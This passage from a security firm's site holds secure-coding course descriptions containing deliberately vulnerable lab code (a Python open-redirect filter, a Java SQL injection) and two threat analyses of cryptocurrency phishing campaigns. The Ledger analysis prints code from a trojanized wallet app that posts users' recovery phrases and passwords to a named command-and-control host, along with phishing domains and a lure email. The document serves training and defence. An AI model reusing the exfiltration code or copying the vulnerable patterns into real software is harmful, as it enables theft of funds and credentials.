(docker-compose) * Burp Suite Community edition * Semgrep * Coffee or Tea β˜•οΈ ## Syllabus
ModuleTopicDetails
The hacking mindset
How attackers will look at your applications
Secure coding introduction
Secure coding principles
From SDLC to SSDLC
OWASP Top 10 2021
OWASP ASVS and security requirements
CVSS: how to rate vulnerabilities
ReactJS security
Security Headers
LAB: React client-side open redirect
LAB: XSS and dangerous JavaScript React functions
LAB: Attacking Local storage vs Cookies
CSP best practices and limits
LAB: Client side open redirect
React Security Framework
Authorization and Broken Access Control in NodeJS
Attacking JWT (JSON Web Tokens)
LAB: None algorithm attacks
LAB: Secret bruteforce
LAB: Signature validation failures
Algorithm confusion attacks
Attacking wrong OAuth2 implementations
LAB: IDOR (Insecure Direct Object Reference)
LAB: Path Traversal
LAB: CSRF (Cross-Site Request Forgery)
LAB: Prototype pollution attack
Server Side Injections in NodeJS
LAB: SQL injections
Basics of SQL injection
Bypassing prepared statement in mysqljs
LAB: Command injection
LAB: Code and Object Injection
eval(), setTimeout(), setInterval() and Function() exploitation
Deserialization in JavaScript
LAB: XML External Entities
LAB: Server-Side Request Forgery
Basics of SSRF
Exploiting SSRF using DNS localhost resolution
LAB: NoSQL injections
LAB: Local and remote file inclusion
Abusing require()
LAB: Server Side Template Injections
render() to RCE
Vulnerable and Outdated Dependencies
Dependency graphs
The importance of SCA (Software Composition Analysis)
LAB: Detecting known vulnerabilities using Snyk
Integrate SCA in the CI/CD pipeline
npm audit and npm update
Detecting vulnerabilities in Node and React using SCA
Scanning your code using Semgrep
Semgrep basics
LAB: Semgrep for NodeJS: How to write rules
Semgrep automation
## **Trainers**
Davide Cioccia Twitter: GitHub: LinkedIn:
## Why should you attend this course? This course will teach you the inside out of exploiting and securing JavaScript applications via real-life examples. If you are a JavaScript or TypeScript developer / DevOps this is the course for you. {% hint style="info" %} ### More info? Contact us at {% endhint %} # SCPy - Writing Secure Code in Python Learn how to write secure code in Python3 and its most common web frameworks - Django and Flask ![](/files/rnPKBAdrlLqFaUE0ak2r) Python is a general-purpose programming language that empowers developers to use several different programming styles as per their preference, style, or proficiency. As one of the more easy-to-learn and -use languages, Python is ideal for beginners and experienced coders alike. It has been holding the second place among the most used and demanded programming languages since 2019. Python comes with an extensive library set available on the 'marketplaces' that developers can simply use to increase their productivity and speed up the delivery of software. Along with everything else, there have been multiple frameworks and libraries developed in Python to support the development of web applications. The list itself is extensive but in this course, we will focus on Django and Flask. During this course, we will look at how vulnerabilities get introduced into Python projects. We will cover the most common vulnerabilities applicable in (all) other languages but also Python-specific ones in web solutions built with Django and Flask. An example of vulnerable code from our hands-on labs of this trainings. Did you spot the 'bad code', yet? ```python def block_list(url): block_list = [".", "//", "%2e"] for b in block_list: if url.find(b) != -1: return True return False @app.route("/go-to", methods=['GET']) def redirector(): go_to_page = request.args.get('u') if block_list(go_to_page): return render_template("index.html", content = "Woops! No way.") return redirect(go_to_page, 302) ``` Email us if you figured out the bypass for bonus points! ## Prerequisites * Knowledge of Python3 * Knowledge of MVC design patterns * Familiar with Python framework - Django, Flask * Familiar with most common frontend technologies and languages HTML, CSS and JavaScript * Interest in security ## Target audience * Security Engineers * Security Champions * DevOps * Developers ## Tools used * Any IDE * Docker (docker-compose) * Burp Suite Community edition * Coffee or Tea β˜•οΈ ## Syllabus
ModuleTopicDetails
The hacking mindset
Think like a hacker, act like a hacker, to understand the hacker
Secure coding introduction
Secure coding principles
From SDLC to SSDLC
OWASP Top 10 2021
OWASP ASVS and security requirements
CVSS: how to rate vulnerabilities
Security featuresDjango Security
Flask Security
Python security
Server side Vulnerabilities
Injection vulnerabilities We will look at the class of injection vulnerablities such as SQL Injection, Command injections and more
LAB: SQL Injection in Django
LAB: SQL Injection in Flask
LAB: Command and Code Injection
LAB: Deserialization in python libraries
LAB: Server Side Template Injection in Flask
LAB: XML External Entities
LAB: Server Side Request Forgery
Race condition
Client side vulnerabilities
Client side web vulnerabilities We will look at the most common vulnerabilities that affect victims through their web browsers
LAB: XSS (Cross Side Scripting)DOM, Stored and Reflected
LAB: Client side Open Redirect
LAB: CSRF (Cross Site Request Forgery)
LAB: CSTI (Client Side Template Injection)
AuthNZ vulnerabilities and attacks
Authentication and Authorization principle s in web security
LAB: IDOR (Insecure Direct Object Reference)
LAB: Path traversal in Flask
LAB: JWT attacks Secret bruteforce, None algorithm attacks
LAB: Attacking wrong OAuth2 implementations
Vulnerable and Outdated Dependencies
Dependency graphs
The importance of SCA (Static Component Analysis)
LAB: Detecting known vulnerabilities using Snyk
Integrate SCA in the CI/CD pipeline
Scanning your code using Semgrep
Semgrep basics
LAB: Semgrep for Flask
LAB: Semgrep for Django
Semgrep automation
## **Trainers**
Stefan Petrushevski Twitter: GitHub: LinkedIn:
## Why should you attend this course? This course will teach you the inside out of exploiting and securing Python applications via real-life examples, targeting different frameworks and techniques. If you are a Python developer this is the course for you. {% hint style="info" %} ### More info? Contact us at {% endhint %} # SCJ - Writing Secure Code in Java Do you want to learn how to hack Java applications and how to make it hacker-proof? This is the course for you. SCJ is 1 or 2 days live course, depending on the chosen topics. ![](/files/YzBPso6MVuunZCpOxsoc) Java is one of the most common object-oriented programming languages used in enterprise and open source projects. Spring is the most popular application development framework for enterprise Java. Millions of developers around the world use Spring Framework to create high-performing, easily testable, and reusable code. Multiple CVEs have affected Java software, for example, [Log4Shell](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2021-44228) (CVE-2021-44228) or the most recent [Spring4Shell](https://www.springcloud.io/post/2022-03/spring-framework-rce-early-announcement/) (or SpingShell), confirming that secure coding requires a combination of processes, tools, and awareness. During this course, we will look into multiple web vulnerabilities and we will dissect known CVEs such as Log4Shell and SpringShell. We will also look into the security features of Spring and how to correctly use them to avoid some vulnerabilities. At the end of the course, we will deep dive into SCA and SAST tools to detect vulnerabilities in our "homemade" vulnerable apps. **SQL injection example from our labs** ```java public Product getProduct(int id) { Connection conn = DatabaseConnection.getConnection(); Statement stmt = null; try { stmt = conn.createStatement(); String sql; sql = "SELECT * FROM product WHERE `product_id` = " + id; ResultSet rs = stmt.executeQuery(sql); while (rs.next()) { return new Product( rs.getInt("product_id"), rs.getString("name"), rs.getString("description"), rs.getString("image_url"), rs.getDouble("price"), rs.getDouble("star")); } } catch (Exception e) { System.err.println(e.getMessage()); e.printStackTrace(); } finally { DatabaseConnection.releaseConnection(conn); } return null; } ``` ## Prerequisites * Knowledge of Java and Spring Framework * Interest in security ## Target audience * Security Engineers * Security Champions * DevOps * Developers ## Tools used * Any IDE * Docker * Burp Suite Community edition * Semgrep * Coffee or Tea β˜•οΈ ## Syllabus
ModuleTopicDetails
The hacking mindset
How attackers will look at your Java applications
Secure coding introduction
Secure coding principles
From SDLC to SSDLC
OWASP Top 10 2021
OWASP ASVS and security requirements
CVSS: how to rate vulnerabilities
Spring Security Framework
AuthN and AuthZ in Spring
CSRF protection
Password encoding in Spring
Dissecting (in)famous Java CVE
Log4j to Log4Shell (CVE -2021-44228)
Spring4Shell (CVE-2022-22965)
AuthN and AuthZ attacks
LAB: IDOR (Insecure Direct Object Reference)
LAB: Path Traversal
LAB: CSRF (Cross-Site Request Forgery)
Spring actuators exploitation
LAB: LDAP injection and authentication bypass
Attacking a Spring web application
LAB: XSS (dom, reflected, and stored)
Spring Security Headers and CSP
Client side Open redirect
Server Side Injections in Java
LAB: SQL injections
LAB: Command injection
Abusing Runtime.getRuntime().exec(cmd)
LAB: Code and Object Injection
Expliting eval()
Deserialization to RCE
LAB: XML Injections
From XML to SSRF wiht xinclude
Exploiting XXE and XML Bomb (million laugh attacks)
LAB: Server-Side Request Forgery
Basics of SSRF
Exploiting SSRF using DNS localhost resolution
LAB: NoSQL injections
LAB: Local and remote file inclusion
LAB: Server Side Template Injections
LAB: Exploiting FreeMaker templates
LAB: Exploiting Velocity templates
LAB: Expression Language (EL) injections
Vulnerable and Outdated Dependencies
Dependencies as graph
The importance of SCA (Static Component Analysis)
LAB: Detecting known vulnerabilities using Snyk
Integrate SCA in the CI/CD pipeline
maven
Detecting vulnerabilities in Java using SCA
Scanning your code using Semgrep
Semgrep basics
LAB: Semgrep for Java: How to write rules
Semgrep automation
## **Trainers**
Davide Cioccia As the Founder and Principal Security Architect @ DCODX, I focus on hacking and securing web and mobile applications. I'm active in the security community as OWASP [MSTG](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/README.md) contributor, [DevSecCon](https://www.devseccon.com/events) Chapter Lead for the Netherlands and speaker at major conferences such as BlackHat, OWASP AppSec and DevSecCon, where I talk about DevSecOps, secure coding and OSINT techiniques. Check my full profile on LinkedIn or send me an email at if you want to know more about me and the trainings I teach. Follow me on: Twitter: GitHub: LinkedIn:
## Why should you attend this course? This course will teach you the inside out of exploiting and securing Java applications via real-life examples. If you are a Java developer this is the course for you. {% hint style="info" %} ### More info? Contact us at {% endhint %} # Ledger database hack facilitates spear-phishing attacks An in depth analysis of the latest scams following the breach of the Ledger database ![](/files/-MPVSqjR0PiPYySNFIlr) ## Background Following the news of the latest hack targeting the Ledger database and the leak of millions of emails, phishing attacks have rapidly increased. The leaked data does not contain any financial information according to Ledger, but emails and personal information are already being used in targeted phishing campaigns, as we can see from the banner on their website. ![](/files/-MPQs3rl5pTNVu9swJxK) Ledger has also started a counter-campaign to take down phishing websites called **#StopTheSpammers.** More details are available here: {% embed url="" %} ## The phishing attacks We have been tracking the presence of Ledger leaked data online in the last few days and most of the published archives have been proactively removed, while some are still available for download as shown from the paste below dated Dec 20th, 2020 (links have been cropped). ![](/files/-MPQfWWyurm7PZ4ZeAoh) Three days after the leak, we already detected many domains created to carry out phishing attacks, using different techniques including typo-squatted domains. We started actively investigating few of the many domains. ``` ledger[.]com-login-authorization[.]app ledger[.]com[.]login-verification[.]app http://xn--ldr-krab5e[.]com/ https://xn--legde-9bb[.]com/ledger-live/download/ ``` The phishing attacks that have been submitted to us starts with a text email that contains the following text (URLs have been sanitized) ``` From: Ledger Alerts Date: Wed, 23 Dec 2020 at 01:32 Subject: XG ZAAY2 To: <.....> Your Wallet has been blocked. You are required to verify your identity: https://docs.google.com/document/d/e/2PACX-1vTlnW_iGFZ5IXXXXXXXXXXXXXXXXXXXXXXXXuuzJQMuPhseCByGZG2nS2CZuBLkb6dxPpBuyd/pub?embedded=true Ledger Support Team. 6G3L-Q3QP0Q78LQ PL6649 ``` Once the user clicks on the Google doc link, Google shows the classic redirect message, with the wrong text/address (ledger.com) as shown below: ![](/files/-MPQbWYn4XTr7Jx97_hv) but actually, the victim will be redirected to the actual phishing website: ``` https://www.google.com/url?q=https://ledger.com-login-authorization.app/settings/&sa=D&ust=1608803119201000&usg=AOvVaw3Mu9BPS20wCa2Hof32NeWE ``` The first screen invites the user to choose its Ledger Nano model ![](/files/-MPQc8wVcY-hCe-jL39s) When the user selects the model, the website simulates the connection of the hardware device to the computer ![](/files/-MPQcUGTdYOai6EVv-9O) and ask for the passphrase to unlock it, collecting some more details about the victim like in the screenshot below. We can see the mnemonic\_phrase being asked as well. ![](/files/-MPQd02r-Qoi7HYCYO_O) After the victim fills in the sensitive information it is being sent in a POST request to the server where it is being saved. Using this information the attackers can continue their attack to potentially steal the coins. The website had also some attention from other security researchers on Twitter, and Ledger confirmed the scam. ![](/files/-MPQdP36SunZcaVgs79k) Looking at the WHOIS information, the domain was registered on the 15-12-2020 and edited on the 20th of the same month. The data below are collected from the Phoenix platform (see Conclusions) ``` { "domain_name": "login-account.app", "registrar": "NameSilo, LLC", "whois_server": "whois.nic.google", "updated_date": "2020-12-25 14:00:38", "creation_date": "2020-12-15 15:35:11", "expiration_date": "2021-12-15 15:35:11", "name_servers": [ "a.dnspod.com", "c.dnspod.com" ], "status": [ "clientHold https://icann.org/epp#clientHold", "clientTransferProhibited https://icann.org/epp#clientTransferProhibited" ], "emails": "namesilo@registry.google", "registrant_email": "Please query the WHOIS server of the owning registrar identified in this output for information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.", "registrant_phone": "REDACTED FOR PRIVACY", "dnssec": "unsigned", "name": "REDACTED FOR PRIVACY", "org": "See PrivacyGuardian.org", "address": "REDACTED FOR PRIVACY", "city": "REDACTED FOR PRIVACY", "state": "AZ", "zipcode": "REDACTED FOR PRIVACY", "country": "US" } ``` The domains are currently hosted on popular cloud platforms such as Alibaba and Amazon cloud and the WHOIS information are privacy protected (hidden). Getting them would require a subpoena. :) During our analysis, we identified a file containing some balances publicly available on the phishing website. ![](/files/-MPQha4DoMto-UsWyDsI) This information cannot be connected to legit accounts yet but helps us to further understand how the clone kit operates, giving insights on possible ways of recovering stolen credentials. ### About the domain Similar domains have been already used in the past to host phishing websites targeting different companies such as * Instagram * Snapchat * Google * Outlook * Apple * Twitter * Facebook and many more. ``` login-account.app login-account.cf login-account.de login-account.email login-account.icu login-account.it login-account.live login-account.net login-account.network login-account.nl login-account.org login-account.site login-account.space login-account.us login-account.xyz login-account-a-mazon.com login-account-amazon.com login-account-apple-unlocking-verification.com login-account-co-uk.top login-account-confirmation-service.com login-account-mail.ru login-account-oauth2-client-support.com login-account-service.com login-account-service.us login-account-update.com login-account-user-amazon.com login-account-user.com login-accountinfo.com login-accounts-amazon.com login-accounts-mail.com login-accounts-veryfi-bot.tk login-accounts-wells-fargo.us login-accounts.com login-accounts.gq login-accounts.icu login-accounts.online login-accounts.org login-accountsecurelly.info ``` where `login-account.cf`was used with the following subdomains (now offline) ``` www.google.login-account.cf accounts.google.login-account.cf apis.google.login-account.cf content.google.login-account.cf drive.google.login-account.cf fonts.google.login-account.cf gstatic.google.login-account.cf lh3.google.login-account.cf mail.google.login-account.cf myaccount.google.login-account.cf notifications.google.login-account.cf ogs.google.login-account.cf play.google.login-account.cf ssl.google.login-account.cf www.instagram.login-account.cf m.instagram.login-account.cf www.linkedin.login-account.cf www.omer.login-account.cf account.outlook.login-account.cf login.outlook.login-account.cf outlook.outlook.login-account.cf leak.protonmail.login-account.cf mail.protonmail.login-account.cf twitter.login-account.cf abs.twitter.login-account.cf api.twitter.login-account.cf mobile.twitter.login-account.cf ``` ### Attribution from code analysis The phishing website is what we normally see in phishing websites. It misses a lot of functionality and is only focused on getting sensitive information out. The front end is HTML/CSS website and uses the jQuery JavaScript library. The back end is written in PHP with databases support and runs behind an Nginx reverse proxy that supports HTTP/2. The phishing website runs over TLS with a Let's Encrypt generated certificate. Based on the comments *(//прописываСм ΠΊΡƒΠΊΡƒ)* that are left in parts of the JavaScript on the website we can with some certainty conclude that it is built by a Russian speaking crew. ```javascript //прописываСм ΠΊΡƒΠΊΡƒ function setCookie(name, value, options) { options = options || {}; ... document.cookie = updatedCookie; } //------------------------------------------------ //считываСм ΠΊΡƒΠΊΡƒ function getCookie(name) { ... return matches ? decodeURIComponent(matches[1]) : undefined; } //------------------------------------------------ //Π΅Π½ΠΊΠΎΠ΄ΠΈΠΌ Π² Π±Π°Π·64 function b64EncodeUnicode(str) { return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g, function toSolidBytes(match, p1) { return String.fromCharCode('0x' + p1); })); } ``` This claim is also supported by some of PHP file names that we have identified on the server, for example *spisok.php* which translates as *'list.php'* in english. ```javascript $ curl -vv https://ledger.com.login-verification.app/settings/spisok.php * TCP_NODELAY set * Connected to localhost (::1) port 8079 (#0) * allocate connect buffer! * Establish HTTP proxy tunnel to ledger.com.login-verification.app:443 > CONNECT ledger.com.login-verification.app:443 HTTP/1.1 > Host: ledger.com.login-verification.app:443 > User-Agent: curl/7.64.1 > Proxy-Connection: Keep-Alive > < HTTP/1.1 200 OK < Date: Sat, 26 Dec 2020 11:02:20 GMT < Connection: Close < * Proxy replied 200 to CONNECT request * CONNECT phase completed! * ALPN, offering h2 * ALPN, offering http/1.1 * successfully set certificate verify locations: * CAfile: /etc/ssl/cert.pem CApath: none * TLSv1.2 (OUT), TLS handshake, Client hello (1): * CONNECT phase completed! * CONNECT phase completed! * TLSv1.2 (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS change cipher, Change cipher spec (1): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384 * ALPN, server accepted to use h2 * Server certificate: * subject: CN=ledger.com.login-verification.app * start date: Dec 21 14:32:46 2020 GMT * expire date: Mar 21 14:32:46 2021 GMT * subjectAltName: host "ledger.com.login-verification.app" matched cert's "ledger.com.login-verification.app" * issuer: C=US; O=Let's Encrypt; CN=R3 * SSL certificate verify ok. * Using HTTP2, server supports multi-use * Connection state changed (HTTP/2 confirmed) * Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0 * Using Stream ID: 1 (easy handle 0x7fec6100d200) > GET /settings/spisok.php HTTP/2 > Host: ledger.com.login-verification.app > User-Agent: curl/xxx > Accept: */* > * Connection state changed (MAX_CONCURRENT_STREAMS == 128)! < HTTP/2 200 < server: nginx/1.16.0 < date: Sat, 26 Dec 2020 11:02:17 GMT < content-type: text/html; charset=UTF-8 < content-length: 0 < strict-transport-security: max-age=604800 < accept-ranges: bytes < * Connection #0 to host localhost left intact * Closing connection 0 ``` ## Malware campaign Another campaign is tricking users into downloading the Ledger desktop application for Win, Mac, or Linux. This campaign is heavily relying on typo squatted websites to distribute malware. The first screen looks exactly like the "Download" page of the original website ![](/files/-MPRUk0iTV2-jmrrD9kT) where the user can choose the OS for which the application will be downloaded. We compared the original desktop application against the malicious one and indeed the hash is different, due to new code added.
``` malware - MD5 (ledger-live-desktop-2.18.0-win.exe) = a341145c129895964fd5574055ac152b original- MD5 (ledger-live-desktop-2.18.0-win.exe) = 4a8913c95246c4de4dca89512e881d41 ``` As soon as the app is launched, there is a call made to the C\&C as we can see from the image below, but because the website is currently down at the moment of writing, the application returns an error, disclosing the endpoint ``` https://happyflyingcow[.]com ``` ![](/files/-MPRm2W2VAGktaj9cutN) ### Code Analysis The original Electron application has been repackaged to include JavaScript code that sends back information about the user and the newly chosen passphrase. As soon as the application is started, it tries to connect back to the C\&C server using the following code ```javascript const OnboardingOrElse = ({ children }) => { const hasCompletedOnboarding = Object(es["useSelector"])(hasCompletedOnboardingSelector); const onboardingRelaunched = Object(es["useSelector"])(onboardingRelaunchedSelector); var xmlHttp = new XMLHttpRequest(); xmlHttp.open("GET", "https://happyflyingcow.com/signup.php", false); // false for synchronous request xmlHttp.send(null); console.log("OnboardingOrElse response: " + xmlHttp.responseText); if (!hasCompletedOnboarding || onboardingRelaunched || xmlHttp.responseText.includes("unregistered")) { return /*#__PURE__*/react_default.a.createElement(screens_onboarding, null); } return children; }; ``` Once the connection has been established, and the C\&C is up, the user is presented with fake Onboarding screens, where the 24 words used in the passphrase will be entered ```javascript switch (window.wwn) { case 2: //alert("words undefined"); //setWordN("2nd"); document.getElementById("words-input-title").innerText = "Enter the 2nd word of your Recovery phrase:"; document.getElementById("onboarding-reset-button").style.display = "flex"; break; case 3: //setWordN("3rd"); document.getElementById("words-input-title").innerText = "Enter the 3rd word of your Recovery phrase:"; break; case 4: //setWordN("4th"); document.getElementById("words-input-title").innerText = "Enter the 4th word of your Recovery phrase:"; break; case 5: //setWordN("5th"); document.getElementById("words-input-title").innerText = "Enter the 5th word of your Recovery phrase:"; break; case 6: //setWordN("6th"); document.getElementById("words-input-title").innerText = "Enter the 6th word of your Recovery phrase:"; break; case 7: //setWordN("7th"); document.getElementById("words-input-title").innerText = "Enter the 7th word of your Recovery phrase:"; break; case 8: //setWordN("8th"); document.getElementById("words-input-title").innerText = "Enter the 8th word of your Recovery phrase:"; break; case 9: //setWordN("9th"); document.getElementById("words-input-title").innerText = "Enter the 9th word of your Recovery phrase:"; break; case 10: //setWordN("10th"); document.getElementById("words-input-title").innerText = "Enter the 10th word of your Recovery phrase:"; break; case 11: //setWordN("11th"); document.getElementById("words-input-title").innerText = "Enter the 11th word of your Recovery phrase:"; break; case 12: //setWordN("12th"); document.getElementById("words-input-title").innerText = "Enter the 12th word of your Recovery phrase:"; document.getElementById("words-input").value = ""; break; case 13: //setWordN("13th"); document.getElementById("words-input-title").innerText = "Enter the 13th word of your Recovery phrase:"; break; case 14: //setWordN("14th"); document.getElementById("words-input-title").innerText = "Enter the 14th word of your Recovery phrase:"; break; case 15: //setWordN("15th"); document.getElementById("words-input-title").innerText = "Enter the 15th word of your Recovery phrase:"; break; case 16: //setWordN("16th"); document.getElementById("words-input-title").innerText = "Enter the 16th word of your Recovery phrase:"; break; case 17: //setWordN("17th"); document.getElementById("words-input-title").innerText = "Enter the 17th word of your Recovery phrase:"; break; case 18: //setWordN("18th"); document.getElementById("words-input-title").innerText = "Enter the 18th word of your Recovery phrase:"; break; case 19: //setWordN("19th"); document.getElementById("words-input-title").innerText = "Enter the 19th word of your Recovery phrase:"; break; case 20: //setWordN("20th"); document.getElementById("words-input-title").innerText = "Enter the 20th word of your Recovery phrase:"; break; case 21: //setWordN("21st"); document.getElementById("words-input-title").innerText = "Enter the 21st word of your Recovery phrase:"; break; case 22: //setWordN("22nd"); document.getElementById("words-input-title").innerText = "Enter the 22nd word of your Recovery phrase:"; break; case 23: //setWordN("23rd"); document.getElementById("words-input-title").innerText = "Enter the 23rd word of your Recovery phrase:"; break; case 24: //setWordN("24th"); document.getElementById("words-input-title").innerText = "Enter the 24th word of your Recovery phrase:"; break; } document.getElementById("words-input").value = ""; } } ``` and then collected using a POST request to {SERVER}/rss.php as shown below on line 13 ```javascript //render.bundle.js line: 364496 function work() { var tmpjo = document.getElementById("words-input").value; if (tmpjo.slice(-1) === " ") { tmpjo = tmpjo.substring(0, tmpjo.length - 1); } if (window.wordsLenght !== undefined && window.wwn >= window.wordsLenght) { var finalWords = window.words + " " + tmpjo; var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://happyflyingcow.com/rss.php', true); xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); xhr.onload = function () { console.log(this.responseText); }; xhr.send('tracking=' + finalWords); document.getElementById("words-input").value = ""; document.getElementById("words-input").blur(); document.getElementById("onboarding-reset-button").style.display = "none"; setEnableControls(false); ``` The final mnemonic phrase is also collected using the following code ```javascript const handleOpenGenuineCheckModal = Object(react["useCallback"])(() => { if (window.enabledPass) { var passIn = document.getElementById("pass-input").value; var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://happyflyingcow.com/news.php', true); xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); xhr.onload = function () { console.log(this.responseText); }; xhr.send('tracking=' + window.finalMnemonic + "&guid=" + passIn); } ``` ## Contact us If you received an email or an SMS redirecting to a phishing website, contact us and we will take immediate action to report the phishing website to the right authorities {% hint style="info" %} Forward the phishing email/link to **** {% endhint %} In case you are a victim of the breach, please follow the recommendation provided by Ledger at {% embed url="" %} If you are not sure whether your email has been leaked, use the service provided by HaveIBeenPwned at {% embed url="" %} ## Improve your detection capabilities Phoenix is our antiphishing tool that can proactively detect and report phishing attacks, combining different discovery techniques and automated reporting plugins. We constantly monitor all the new registered domains, typo-squatted domains, blacklists, deep web, forums, and more to provide insights on new attacks. Our light agent is capable of detecting clones even before they are online. ![](/files/-MPp0oglMBX9E7nYT6iF) The detected websites are indeed phishing websites, trying to steal the backup phrase ![](/files/-MPp2CbBuB0KubcJ7QVW) ## Conclusions Cryptocurrencies are one of the most valuable targets for phishers that are constantly trying to find different ways of bypassing security measures in place such as Multi-Factor Authentication (MFA). Many attacks are still ongoing and immediate action to take down the websites is needed. Continuous awareness, detection, and response can improve the impact of phishing attacks. Check how DCODX can help you detect stolen credentials and make phishing websites disappear in seconds using [Phinix](https://phinix.io), putting you in control of the phishing website and being one step ahead of the phishers. {% embed url="" %} ### References {% embed url="" %} # "Being broke is no joke!" Mapping and exploiting phishing campaigns targeting Crypto Exchanges Crypto Exchanges are definitely one of the favorite targets when it comes to phishing. Today we detected an interesting phishing campaign targeting mainly Dutch cryptocurrency exchanges and email providers. The list below is updated based on the latest analysis but could contain more targeted domains, yet to be discovered: * litebit.eu * gatehub.com * kraken.com * bitvavo.com * outlook.live.com * gmail.com * yahoo.com * proximus.be The clone looks quite simple and does not introduce any interactive chat or mobile application to be downloaded on the device of the victim. Everything starts with a login screen ![](/files/-M9xMbi3cNcTt8dRwq7m) After the credentials are stolen the website asks for the personal details ![](/files/-M9xMooOqogS9de-DNXH) Here the interesting thing. The phishing website asks the user to verify the email address, by accessing the email on a fake Outlook website hosted on the same IP but different subdomain ![](/files/-M9xNHYMWCLZXumUDzyS) The user is then redirected to the fake Litebit website to steal the Google Authenticator access code ![](/files/-M9xN_NE_CpqRLLUoDQK) And after 5 times of inserting our code, we get our account verified ![](/files/-M9y5Mp1LiBXXPWBelAq) We decided to visualize the perimeter of this campaign using Maltego and our custom transformation to perform reverse DNS lookup and subdomain bruteforcing, to better understand the size of the attack. The graph below is just a first snapshot of what we detected and can change with further analysis. ![](/files/-M9xO8DGe9TQ9Yy8y7m8) The linked graph shows how the phishers registered 36 domains on the same IP using different subdomains replicating the name of the target platform (Crypto exchange or email provider) A better organized view of the same graph can be found below ![](/files/-M9xPMNaY7cqNo7WBylU) The registered detected domains follow all the same pattern * com126986547271 \[.]info * com12789878951 \[.]info * com1298754841 \[.]info * com1359876471 \[.]info * com1365796741 \[.]info * com1365978471 \[.]info * com136598747 \[.]info * com1369875481 \[.]info * com1387458741 \[.]info * com1389754871 \[.]info * com1469874541 \[.]info * com14897589874641 \[.]info * com156987541 \[.]info * com1576988751 \[.]info * com1586975461 \[.]info * com167458712541 \[.]info * com168469874254 \[.]info * com168794671 \[.]info * com1698754671 \[.]info * com172656375375 \[.]info * com17456987451 \[.]info * com174632658837 \[.]info * com17569884541 \[.]info * com17698754151 \[.]info * com18265638385 \[.]info * com182657387385 \[.]info * com182765635656 \[.]info * com18756987491 \[.]info * com1876549871 \[.]info * com197458765871 \[.]info * com1987654871 \[.]info * eu16987457471 \[.]info * eu169875468971 \[.]info * eu169875487541 \[.]info * eu1832857583 \[.]info * be1387158741\[.]info * net19878578741\[.]info * mailreq \[.]info as well as the registered subdomains * outlook\[.]live\[.]com126986547271\[.]info * outlook\[.]live\[.]com12789878951\[.]info * outlook\[.]live\[.]com1387458741\[.]info * outlook\[.]live\[.]com1389754871\[.]info * gmail\[.]com1469874541\[.]info * outlook\[.]live\[.]com14897589874641\[.]info * yahoo\[.]com1576988751\[.]info * kraken\[.]com1586975461\[.]info * outlook\[.]live\[.]com167458712541\[.]info * litebit\[.]com168469874254\[.]info * outlook\[.]live\[.]com172656375375\[.]info * outlook\[.]live\[.]com174632658837\[.]info * bitvavo\[.]com17569884541\[.]info * outlook\[.]live\[.]com18265638385\[.]info * outlook\[.]live\[.]com182657387385\[.]info * outlook\[.]live\[.]com182765635656\[.]info * outlook\[.]live\[.]com197458765871\[.]info * litebit\[.]eu16987457471\[.]info * litebit\[.]eu169875468971\[.]info * litebit\[.]eu169875487541\[.]info * litebit\[.]eu1832857583\[.]info * www\[.]proximus\[.]be1387158741\[.]info * signin\[.]gatehub.net19878578741\[.]info All the domains are hosted on 192\[.]236\[.]177\[.]125 A quick WHOIS search confirms that the campaign started around mid-May ``` Domain Name: EU169875487541.INFO Registry Domain ID: D503300001185396436-LRMS Registrar WHOIS Server: whois.namesilo.com Registrar URL: http://www.namesilo.com Updated Date: 2020-05-13T11:33:58Z Creation Date: 2020-05-13T11:00:12Z Registry Expiry Date: 2021-05-13T11:00:12Z Registrar Registration Expiration Date: Registrar: Namesilo, LLC Registrar IANA ID: 1479 Registrar Abuse Contact Email: removed email address Registrar Abuse Contact Phone: removed phone number Reseller: Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited Domain Status: serverTransferProhibited https://icann.org/epp#serverTransferProhibited Registrant Organization: See PrivacyGuardian.org Registrant State/Province: AZ Registrant Country: US Name Server: AMSBS14.HOSTWINDSDNS.COM Name Server: AMSBS13.HOSTWINDSDNS.COM DNSSEC: unsigned URL of the ICANN Whois Inaccuracy Complaint Form is https://www.icann.org/wicf/ >>> Last update of WHOIS database: 2020-06-27T09:36:59Z <<< ``` The phishers did not bother much on creating a custom website, but only downloaded the complete website as HTML, added some `.php` pages to send the stolen credentials and uploaded it on the fresh websites. During the analysis we hit the jackpot, discovering the config panel used by the phishers to set the email to receive the credentials, and also the URLs where the victim will be redirected to verify the email (fake Outlook for example). The panel is protected by a password but we were able to bypass it. Here we can see the different configurations for each exchange and mail server. LiteBit configurations ![](/files/-M9xpMuqMtgD_8RzT8L1) On the Hotmail configuration set the 2FA to be enabled or not ![](/files/-M9xpr0AFxM_skF0h4f9) Kraken configurations ![](/files/-M9xqtrKojY-x2GAB84c) BitVavo configurations ![](/files/-M9xr-U5REAU6beMX-Km) GateHub config ![](/files/-MAoso7rncA2E_l_EmjQ) The email used to forward the credentials are: * * * {% hint style="success" %} The phishing websites have been taken down {% endhint %} ### Conclusions Crypto exchanges are definitely very valuable targets for phishers that are constantly trying to find different ways of bypassing security measures in place such as Multi Factor Authentication (MFA). Continuous awareness, detection, and response can improve the impact of phishing attacks. Check how DCODX can help you detect stolen credentials and make phishing websites disappear in seconds using [Phinix](https://phinix.io), putting you in control of the phishing website and being one step ahead of the phishers. {% embed url="" %} # Burp Suite extensions: our favorites by Semen Rozhkov Just after Portswigger released the new 2020 roadmap for Burp Suite and the exciting news of HTTP/2 support, we want to share with you our favorite extensions, that help us in our everyday job. ![](/files/-LyxALXe3AQNnJGS0Gwu) ## Detection (basic) ### **ActiveScan++** Performs additional checks during the 